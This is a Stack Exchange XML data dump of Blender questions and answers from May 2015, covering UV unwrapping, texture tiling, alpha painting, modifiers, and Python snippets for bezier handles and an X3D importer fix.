  <row Id="30696" PostTypeId="2" ParentId="21266" CreationDate="2015-05-10T19:22:30.343" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I am unsure on the details of this part of your question.  &quot;getting the appropriate curvature by scaling the handles.&quot;  What defines the appropriate curvature.  Why aren't the connections just line segments between spheres?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Here is the best answer I can give, until I understand more about #1. A code snippet from a different thread on BA regarding handle scaling.  Once I understand exactly how you are trying to scale the handles, adapting this should not be difficult.  This example should have all the neceessary mechanics to accomplish what you want whether by setting automatic handles, or by scaling them manually once you calculate a new location for them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main(context):&#xA;    #Find the Blender object of interest &#xA;    crv_obj = context.object&#xA;    #Get access to the curve object data&#xA;    crv_data = crv_obj.data&#xA;    #active spline&#xA;    spline = crv_data.splines.active&#xA;    #Find the active bezier control point bcp&#xA;    selected_points = [bcp for bcp in spline.bezier_points if bcp.select_control_point]&#xA;&#xA;    for bez_point in selected_points:&#xA;        #Find the active control point location&#xA;        b_loc = bez_point.co&#xA;&#xA;        #Find the left handle location&#xA;        l_loc = bez_point.handle_left&#xA;&#xA;        #Find the right handle location&#xA;        r_loc = bez_point.handle_right&#xA;&#xA;        #Claculate length handle right&#xA;        l_len = (l_loc - b_loc).length&#xA;&#xA;        #Calculate length handle left&#xA;        r_len = (r_loc - b_loc).length&#xA;&#xA;        #Set automatic&#xA;        bez_point.handle_right_type = 'AUTO'&#xA;        bez_point.handle_left_type = 'AUTO'&#xA;&#xA;        #Now set handle type to aligned&#xA;        bez_point.handle_right_type = 'ALIGNED'&#xA;        bez_point.handle_left_type = 'ALIGNED'&#xA;&#xA;        #Reset left handle to correct length&#xA;        l_loc_new = bez_point.handle_left&#xA;        l_vec = l_loc_new - b_loc&#xA;        bez_point.handle_left = b_loc + l_len * l_vec.normalized()&#xA;&#xA;        #Reset right handle to correct length&#xA;        r_loc_new = bez_point.handle_right&#xA;        r_vec = r_loc_new - b_loc&#xA;        bez_point.handle_right = b_loc + r_len * r_vec.normalized()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2015-05-10T19:22:30.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30697" PostTypeId="2" ParentId="30695" CreationDate="2015-05-10T19:32:28.530" Score="4" Body="&lt;p&gt;A possible soution is not using volumetrics in the world setting but creating a solid that contains the whole scene with volume scatter shader.&#xA;Have that solid be in only one layer and have other layers with no volumetrics to light the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example on a scene like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UxbpY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a cube that surrounds the whole scene and added a volume scatter node as volume to create the volumetrics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rgs2L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tkZDw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on a separate layer I have the object on the left with separate lighting and no volumetrics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ytOA4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I render both layers separately and combine them in the compositor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/55apV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-10T19:46:01.543" LastActivityDate="2015-05-10T19:46:01.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30698" PostTypeId="1" CreationDate="2015-05-10T19:43:27.043" Score="2" ViewCount="467" Body="&lt;p&gt;Take the default cube, unwrap it and apply a texture. Looks nice; none of the textures are stretched or squished. If you go into edit mode now and select the top face of the cube and move it up or down it will look as though the texture is stretched or squished on the sides... is there a way to stop this happening? A way to link the object to the uv so as you edit the proportions the uv automatically updates the sizes automatically in proportion? In google sketchup you can tile textures so when you edit the size of a surface it just draws more or less tiles and doesn't cause stretch or compression of the textures... I'm looking for the same sort of functionality in blender.&lt;/p&gt;&#xA;" OwnerUserId="14272" LastActivityDate="2015-05-10T20:30:20.060" Title="Is there a way to link uv's so as to tile them onto an object?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30699" PostTypeId="1" AcceptedAnswerId="30717" CreationDate="2015-05-10T19:54:59.977" Score="11" ViewCount="12827" Body="&lt;p&gt;How do I paint on an RGBA texture's alpha channel in Blender 2.73?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not actually using it for transparency, so I would prefer to visualize the alpha channel as a grayscale image while painting, if that's possible.&lt;/p&gt;&#xA;" OwnerUserId="5276" LastActivityDate="2015-05-11T06:33:38.197" Title="Texture painting on the alpha channel (2.73)" Tags="&lt;transparency&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30700" PostTypeId="1" AcceptedAnswerId="30716" CreationDate="2015-05-10T20:09:56.593" Score="1" ViewCount="12194" Body="&lt;p&gt;There must be a simple option to tile a texture evenly over any object automatically. Are there any ways to do this?&lt;/p&gt;&#xA;" OwnerUserId="14272" LastEditorUserId="599" LastEditDate="2015-05-11T18:18:21.503" LastActivityDate="2015-05-11T18:18:21.503" Title="Is there a way to tile a texture automatically over an object?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30701" PostTypeId="1" CreationDate="2015-05-10T20:20:44.127" Score="5" ViewCount="9137" Body="&lt;p&gt;I want to apply a texture to a section of my object, but I don't want anything showing up anywhere else on my object. When I select the part of my object that I want unwrapped and unwrap it, it also unwraps every other part of the object, but unwraps each face as a full square. The area selected unwraps just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be fixed by scaling all the UV's I don't want down to 0, but is there another/better way?&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2019-11-27T14:03:34.480" Title="How do I UV Unwrap Part of my Object?" Tags="&lt;cycles-render-engine&gt;&lt;uv&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30702" PostTypeId="2" ParentId="30597" CreationDate="2015-05-10T20:21:31.857" Score="2" Body="&lt;p&gt;There are 3 ways for upVec to be found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 and 3 versions were suggested by mano-wii from here &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?361154-Coordinates-of-resolution-points-of-a-Bezier-Curve&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?361154-Coordinates-of-resolution-points-of-a-Bezier-Curve&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Cross vec. &lt;a href=&quot;https://github.com/mifth/mifthtools/blob/6b0469faea18d3375c3f3257963d7c85f327c44c/blender/addons/mira_tools/mi_curve_guide.py#L486-L488&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mifth/mifthtools/blob/6b0469faea18d3375c3f3257963d7c85f327c44c/blender/addons/mira_tools/mi_curve_guide.py#L486-L488&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Project vec.&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?361154-Coordinates-of-resolution-points-of-a-Bezier-Curve&amp;amp;p=2866256&amp;amp;viewfull=1#post2866256&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?361154-Coordinates-of-resolution-points-of-a-Bezier-Curve&amp;amp;p=2866256&amp;amp;viewfull=1#post2866256&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/mifth/mifthtools/blob/6b0469faea18d3375c3f3257963d7c85f327c44c/blender/addons/mira_tools/mi_curve_guide.py#L490-L492&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mifth/mifthtools/blob/6b0469faea18d3375c3f3257963d7c85f327c44c/blender/addons/mira_tools/mi_curve_guide.py#L490-L492&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Dot vec.&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?361154-Coordinates-of-resolution-points-of-a-Bezier-Curve&amp;amp;p=2866427&amp;amp;viewfull=1#post2866427&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?361154-Coordinates-of-resolution-points-of-a-Bezier-Curve&amp;amp;p=2866427&amp;amp;viewfull=1#post2866427&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/mifth/mifthtools/blob/6b0469faea18d3375c3f3257963d7c85f327c44c/blender/addons/mira_tools/mi_curve_guide.py#L494-L497&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mifth/mifthtools/blob/6b0469faea18d3375c3f3257963d7c85f327c44c/blender/addons/mira_tools/mi_curve_guide.py#L494-L497&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I choosed Cross vec for my approach for the upVec searching.&#xA;You can comment/uncomment any of approaches and try testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also,I found another issue:&#xA;One direction can has different upVecs.&#xA;&lt;a href=&quot;https://i.imgur.com/itANWG6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://i.imgur.com/itANWG6.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this issue I have to pick first point upVec and then check all points after. If a current upVecAngle is more than 90 degrees - we need to invert upVec.&#xA;Here is the code to fix this issue:&#xA;&lt;a href=&quot;https://github.com/mifth/mifthtools/blob/6b0469faea18d3375c3f3257963d7c85f327c44c/blender/addons/mira_tools/mi_curve_guide.py#L504-L509&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/mifth/mifthtools/blob/6b0469faea18d3375c3f3257963d7c85f327c44c/blender/addons/mira_tools/mi_curve_guide.py#L504-L509&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can see the result of my custom curve in editmode here:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=VXWSUwOul-s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=VXWSUwOul-s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="911" LastEditDate="2015-05-13T08:18:01.460" LastActivityDate="2015-05-13T08:18:01.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30703" PostTypeId="2" ParentId="30698" CreationDate="2015-05-10T20:30:20.060" Score="2" Body="&lt;p&gt;A convoluted way to do this would be to use the &lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/modifiers/modify/uv_project.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV Project&lt;/a&gt;&lt;/strong&gt; modifier and 3 empties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the center of the cube add an empty.&#xA;Add a second empty (empty.001) and rotate it 90 degrees on the X axis.&#xA;Add a third empty (empty.002) and rotate it 90 degrees on the Z axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your UV unwrapped cube and add a UV project modifier, assign the image texture, click the override Imabe box. Change the number of projectors to 3 and assign the empties as projectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QZ6bR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then as you modify the cube the textuere will repeat in tiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sB5VT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-10T20:30:20.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30704" PostTypeId="1" AcceptedAnswerId="30712" CreationDate="2015-05-10T22:49:07.903" Score="11" ViewCount="9104" Body="&lt;p&gt;This is very annoying. I need to delete an action I keep hitting x and clear animation data and all that, won't leave! I have quit and reopened, there is no 0 next to the name.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="15795" LastEditDate="2017-06-06T01:43:50.470" LastActivityDate="2017-12-28T00:01:55.653" Title="Action won't go away!" Tags="&lt;editing&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30705" PostTypeId="1" AcceptedAnswerId="30715" CreationDate="2015-05-10T23:06:52.847" Score="0" ViewCount="81" Body="&lt;p&gt;Currently when Blender loads an .x3d file it does not load the &lt;a href=&quot;http://edutechwiki.unige.ch/en/X3D_shape_and_geometry#DEF_and_USE&quot; rel=&quot;nofollow&quot;&gt;correct DEF attribute&lt;/a&gt;, i.e., each shape doesn't get its designated name, and instead is called &lt;code&gt;ShapeIndexedFaceSetXXX&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to fix this bug via Python scripting, or is it something deeper?&lt;/p&gt;&#xA;" OwnerUserId="5022" LastEditorUserId="47" LastEditDate="2015-05-11T05:31:13.757" LastActivityDate="2015-05-11T05:50:40.500" Title="Get the DEF property of a x3d node" Tags="&lt;python&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30706" PostTypeId="1" CreationDate="2015-05-10T23:50:51.890" Score="1" ViewCount="334" Body="&lt;p&gt;I'm trying to adjust/change the bezier curve and the blue line is not in the f- curve editor window like the instructions say it should be. Is there something I am missing or is there a way to get it back? I copied the instructions below and attached an image of what it looks like from my point of view. Any help would be great!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In these steps, you'll move the whole Bezier curve to change the door-opening animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 3D View window, make sure that the house's door is still selected. If not, right-click to select it.&#xA;With the mouse pointer located in the F Curve Editor window, rotate the mouse scroll wheel upward to zoom in on the Bezier curve.&#xA;TIP: If you can't see it, rotate the scroll wheel downward to zoom out.&#xA;Right-click and drag the Bezier curve to unstick it. The Bezier curve will follow the mouse pointer wherever you move it in the F Curve Editor window.&#xA;TIP: Right-clicking again will return the curve to its starting point.&#xA;When you've moved it to a new spot, left-click to stop moving the curve.&#xA;TIP: You can always press CTRL + Z to undo the movement and return the curve to its previous spot. If you want to undo something in the F Curve Editor, make sure the mouse pointer is in that window.&#xA;Press ALT + A to see the new door-opening animation.&lt;img src=&quot;https://i.stack.imgur.com/SGfN5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11597" LastActivityDate="2015-05-10T23:50:51.890" Title="Finding Bezier Curve Line" Tags="&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30707" PostTypeId="1" CreationDate="2015-05-10T23:56:48.413" Score="2" ViewCount="112" Body="&lt;p&gt;I have a game that I want to use dynamic text for a Points system and a Lives system. The problem I run into is that when I create a Text Property for the dynamic text, the property name is Text - for both. I need to use logic bricks to finish what I want with points and lives, but both pieces of dynamic text are named Text ... how do I discern between the two when using the logic bricks??&lt;/p&gt;&#xA;" OwnerUserId="14277" LastActivityDate="2015-05-11T00:11:33.737" Title="Text Properties in Blender 2.68" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="30708" PostTypeId="1" AcceptedAnswerId="30710" CreationDate="2015-05-11T00:06:00.013" Score="3" ViewCount="3365" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8iOmD.png&quot; alt=&quot;enter image description here&quot;&gt;When I apply the Shrinkwrap modifier, the mesh isn't above the surface of the other like it should be. Plus, when the modifier is on the bottom, it deforms correctly, but then when applied, it is all messed up. How can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="13828" LastEditorUserId="13828" LastEditDate="2015-05-11T00:57:19.597" LastActivityDate="2015-05-11T00:57:19.597" Title="Shrinkwrap modifier not applying correctly" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30710" PostTypeId="2" ParentId="30708" CreationDate="2015-05-11T00:15:32.393" Score="4" Body="&lt;p&gt;&lt;strong&gt;About the modifier stack:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a modifier is applied, it has to be applied as if it is at the top of the modifier stack (the first one), as to achieve the previewed result you will need to apply all other visible modifiers as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;About the Shrinkwrap issue in particular:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple of things could be causing this. You could try:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your target mesh is high enough resolution (enough faces to deform vertices to)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Offset&lt;/em&gt; slider&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Keep Above Surface&lt;/em&gt; option&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Screenshot:&lt;/em&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5YL75.jpg&quot; alt=&quot;Modifier Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-05-11T00:15:32.393" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30711" PostTypeId="2" ParentId="30701" CreationDate="2015-05-11T00:36:37.780" Score="7" Body="&lt;p&gt;&lt;strong&gt;This works in Blender 2.74&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Select your mesh, enter edit mode, and select only the faces that you want to unwrap. Now press &lt;kbd&gt;U&lt;/kbd&gt; and select the type of unwrap you want to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U4Yt8.gif&quot; alt=&quot;Example Gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that when I select other faces, the only visible selection is a vertice on the lower left, while an unwrapped face becomes fully visible when selected in the viewport. Basically, Blender automatically unwraps the selected part of the mesh, and then sends all other vertices to &lt;code&gt;0, 0&lt;/code&gt; as there is no coordinate information to display for them. However they do still display a color:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZuvFw.gif&quot; alt=&quot;Moving Verices&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What you can do is to assign a different material to the not unwrapped vertices so that you can control the color easily. Select all the unwrapped faces and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; to invert the selection. Now go to the materials panel and make a new material, and press the &lt;em&gt;Assign&lt;/em&gt; button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FCjMN.gif&quot; alt=&quot;Assign Material Gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-05-11T14:52:56.697" LastActivityDate="2015-05-11T14:52:56.697" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30712" PostTypeId="2" ParentId="30704" CreationDate="2015-05-11T00:43:23.953" Score="8" Body="&lt;p&gt;To unlink datablocks from the blend file hold &lt;kbd&gt;Shift&lt;/kbd&gt; button and click on the &lt;strong&gt;X&lt;/strong&gt; icon of the datablock. That will set the number of users to zero and it will not be saved in the blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to reload file after saving it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rWT9p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="29625" LastEditDate="2016-08-18T11:43:00.913" LastActivityDate="2016-08-18T11:43:00.913" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30713" PostTypeId="2" ParentId="30700" CreationDate="2015-05-11T02:29:01.560" Score="8" Body="&lt;p&gt;While it isn't entirely clear what you are asking, if my assumption is correct, you want to map a texture onto an object in a way that it repeats X amount of times over one or both axes. Like a tiled floor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to do this is to scale the UV coordinates in the image editor to X times the bounds of the UV space. Any faces assigned UVs outside of this space will loop or &quot;tile&quot; like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before scaling&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XUQ1e.png&quot; alt=&quot;before scaling UVs&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After scaling&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ywzdf.png&quot; alt=&quot;after scaling UVs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5238" LastActivityDate="2015-05-11T02:29:01.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30714" PostTypeId="2" ParentId="30668" CreationDate="2015-05-11T05:02:29.747" Score="9" Body="&lt;p&gt;There is a tool that will allow you to visualize the islands from other objects that are still separate.  To use it, select all the objects and enter Edit mode for the primary selection that you are currently working with and check &lt;strong&gt;&lt;em&gt;View-&gt;Draw Other Objects&lt;/em&gt;&lt;/strong&gt;.  Now all UV Islands for the secondary selections should be visible with a faint outline in the UV Image Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8gxuD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like seams for objects that are already unwrapped: Enter edit mode for the object and select everything; there is a tool available &lt;strong&gt;&lt;em&gt;UVs-&gt;Seams From Islands&lt;/em&gt;&lt;/strong&gt; that will add seams to all the islands.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-11T05:30:27.213" LastActivityDate="2015-05-11T05:30:27.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30715" PostTypeId="2" ParentId="30705" CreationDate="2015-05-11T05:50:40.500" Score="2" Body="&lt;p&gt;Found the problem: In Blender 2.74, inside&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def getDefName(self):&#xA;        data = self.x3dNode.getAttributeNode('DEF')&#xA;        if data:&#xA;            data.value  # XXX, return??&#xA;        return None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does not return the name in case it found it, changing it to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def getDefName(self):&#xA;        data = self.x3dNode.getAttributeNode('DEF')&#xA;        if data:&#xA;            return data.value  # XXX, return??&#xA;        return None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;worked for me, however I don't know how to suggest it as a bug fix nor am I sure that it is indeed a worthy fix as clearly someone already noticed that this function doesn't return anything in case there is a DEF.&lt;/p&gt;&#xA;" OwnerUserId="5022" LastActivityDate="2015-05-11T05:50:40.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30716" PostTypeId="2" ParentId="30700" CreationDate="2015-05-11T05:52:38.577" Score="4" Body="&lt;p&gt;With Cycles nodes, Box Projection is available, (maybe this can be done with Blender Internal as well, I'm not sure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the node setup.  The &lt;strong&gt;&lt;em&gt;Blend&lt;/em&gt;&lt;/strong&gt; slider works well for low frequency detail but tends to blur high-frequency detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8uBp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the model has UV Coordinates, you can bake the results for use with other applications.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-05-11T05:52:38.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30717" PostTypeId="2" ParentId="30699" CreationDate="2015-05-11T06:33:38.197" Score="16" Body="&lt;p&gt;The paint modes named &lt;strong&gt;&lt;em&gt;Add Alpha&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;Erase Alpha&lt;/em&gt;&lt;/strong&gt; may be what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jsiWo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a pen tablet then you can use the pen eraser to use Erase Alpha without having to change the blend mode in the UI.  There does not yet seem to be an alt key press that allows the pen eraser to toggle between Erase and Add.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I think the better way, for now, is to paint the texture the usual way and then use GIMP to add this texture to the Alpha channel of some other texture.  Blender does not really seem streamlined yet for working with and packing multiple images together in a convenient way. Maybe I'm just missing something and it's all there nicely workable already, blender can do lots of things that are not well documented :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you follow this link, I show how to add an image to the alpha channel of another image using GIMP.  &lt;a href=&quot;https://blender.stackexchange.com/questions/21060/dotted-line-on-curve&quot;&gt;Dotted line on curve?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-11T06:33:38.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30718" PostTypeId="1" CreationDate="2015-05-11T06:49:01.470" Score="1" ViewCount="204" Body="&lt;p&gt;When we developed a basic model of the building and exported it to MAX in .OBJ format, the file forming new meshes connecting the original objects. When the mesh is deleted in MAX, the parts of the Objects are also deleted along with the mesh. &lt;/p&gt;&#xA;" OwnerUserId="14155" LastEditorDisplayName="user1853" LastEditDate="2015-05-12T14:48:55.727" LastActivityDate="2015-05-12T14:48:55.727" Title="Problems while import/export of a .OBJ file" Tags="&lt;export&gt;&lt;import&gt;&lt;file-format&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30719" PostTypeId="1" CreationDate="2015-05-11T06:52:51.770" Score="2" ViewCount="256" Body="&lt;p&gt;Faced with such a problem - there is a system of particles in settings exposed saving cache to disk next to the file. Also, 400 frame animation of the object. The problem is that baking stops at 100 frames in the Task Manager, the entire memory packed to capacity. Please, help.&lt;/p&gt;&#xA;" OwnerUserId="14280" LastEditorUserId="599" LastEditDate="2015-05-11T08:39:56.347" LastActivityDate="2015-05-11T09:57:56.783" Title="Not enough RAM for baking particles" Tags="&lt;animation&gt;&lt;particles&gt;&lt;physics&gt;&lt;baking&gt;&lt;memory-management&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30720" PostTypeId="1" CreationDate="2015-05-11T07:27:40.257" Score="3" ViewCount="62" Body="&lt;p&gt;I have a grid and a plane which are not parallel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bwGH9.png&quot; alt=&quot;get_individual_snap&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to move (G-key) the selected set of points down so that the value on the z axis of each point after moving is the same as the value on the Z axis at that corresponding point on the plane. The effect might be what one would achieve if one took the &quot;move&quot; tool, the &quot;individual&quot; part of &quot;extrude individual&quot;, and the &quot;snap to plane&quot; function. Am I looking for something which does not yet exist?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-05-11T08:13:55.060" Title="Is there a &quot;get individual&quot;?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
